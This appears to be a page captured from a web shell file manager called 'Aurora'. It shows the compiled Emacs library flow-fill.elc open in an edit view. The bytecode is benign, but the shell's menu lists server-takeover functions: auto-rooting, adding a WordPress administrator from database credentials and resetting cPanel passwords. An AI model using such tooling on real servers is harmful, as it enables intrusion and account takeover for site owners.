Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
mail
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: flow-fill.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313& \210\300\314\302\303\315DD\316\306\307\310\311\312\317& \207" [custom-declare-variable fill-flowed-display-column funcall function #[0 "\300\207" [fill-column] 1] "Column beyond which format=flowed lines are wrapped, when displayed.\nThis can be a Lisp expression or an integer." :version "22.1" :group mime-display :type (choice (const :tag "Standard `fill-column'" fill-column) (const :tag "Fit Window" (- (window-width) 5)) (sexp) (integer)) fill-flowed-encode-column #[0 "\300\207" [66] 1] "Column beyond which format=flowed lines are wrapped, in outgoing messages.\nThis can be a Lisp expression or an integer.\nRFC 2646 suggests 66 characters for readability." (choice (const :tag "Standard fill-column" fill-column) (const :tag "RFC 2646 default (66)" 66) (sexp) (integer))] 10) #@25 (fn &optional BUFFER) (defalias 'fill-flowed-encode #[256 "r\211\206 pq\210\205I e\303\304d\305\306$\211\262\203F \214}\210\307 !\310 \210)eb\210\311\312\303\306#\203; \313\314\306\211#\210\202* dT\211\262b\210)\202 \266\306)\207" [use-hard-newlines fill-flowed-encode-column fill-column nil text-property-any hard t eval fill-flowed-fill-buffer re-search-forward "\n" replace-match " \n"] 8 (#$ . 1258)]) (defalias 'fill-flowed-fill-buffer #[0 "\301\211eeb\210m\204> \302\303!\205 \304\305!\262\232\203! \306y\210\202 \214\211`}\210\307ed\310\311\312%\210)db\210)\262`\262\202 \214\211`}\210\307ed\310\311\312%*\207" [fill-prefix nil looking-at "[> ]+" match-string 0 1 fill-region t nosqueeze to-eop] 9]) #@189 Apply RFC2646 decoding to BUFFER. If BUFFER is nil, default to the current buffer. If DELETE-SPACE, delete RFC2646 spaces padding at the end of lines. (fn &optional BUFFER DELETE-SPACE) (defalias 'fill-flowed #[512 "r\206 pq\210\304!eb\210m?\205\273 \305\306!\203q \307 \206 `Sf\310=\203q \311\312!\312\225b\210\305\313!\2047 \313c\210\314\210m\204m \212\315y\210\305\316\317\"!)\203m `\315\225|\210\3201h \211\313P\314\321\322 \307 \323\324$*0\202l \210\202m \210\210\202\265 g\310=\203{ \325\315!\210\305\326!\204\265 \307 \206\207 `Sf\310=\203\265 \314\210\211\203\231 \325\327!\210\325\315!\210\3301\260 \331\321\322 \307 \323\324$)0\202\264 \210\202\265 \210\315y\210\202 *\207" [fill-flowed-display-column fill-column adaptive-fill-mode fill-prefix eval looking-at "^>+" line-end-position 32 match-string 0 " " nil 1 format "\\(%s ?\\)[^>]" (error) fill-region line-beginning-position left nosqueeze delete-char "-- $" -1 (error) ""] 8 (#$ . 1997)]) (make-obsolete-variable 'fill-flowed-encode-tests nil "27.1") (defalias 'fill-flowed-test #[0 "\300\301!\207" [user-error "This function is obsolete. Please see test/lisp/mail/flow-fill-tests.el in the Emacs source tree"] 2 nil ""]) (provide 'flow-fill)